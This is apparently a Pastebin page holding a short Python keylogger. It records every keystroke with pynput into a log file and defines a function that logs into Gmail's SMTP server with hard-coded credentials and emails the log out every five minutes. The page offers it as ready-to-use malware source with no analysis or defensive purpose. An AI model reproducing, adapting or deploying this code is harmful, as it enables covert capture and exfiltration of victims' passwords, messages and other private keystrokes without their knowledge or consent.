Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- from pynput.keyboard import Key, Listener
- import logging
- import sys
- import smtplib
- from threading import Timer
- def main():
- log_dir = ""
- logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(message)s')
- def on_press(key):
- logging.info(key)
- with Listener(on_press=on_press) as listener:
- listener.join()
- def sendmail():
- # Code executed here
- email = 'anonymoussecretanonymous12345@gmail.com' # Your email
- password = 'secretanonymoussecret12345' # Your email account password
- send_to_email = 'anonymoussecretanonymous12345@gmail.com' # Who you are sending the message
- subject = "key"
- test = open("log.txt", "r")
- message = test.read() # The message in the email
- server = smtplib.SMTP('smtp.googlemail.com', 587) # Connect to the server
- server.starttls() # Use TLS
- server.login(email, password) # Login to the email server
- server.sendmail(email, send_to_email , message) # Send the email
- server.quit() # Logout of the email server
- Timer(300, sendmail).start()
- sendmail()
- if __name__ == "__main__":
- # execute only if run as a script
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement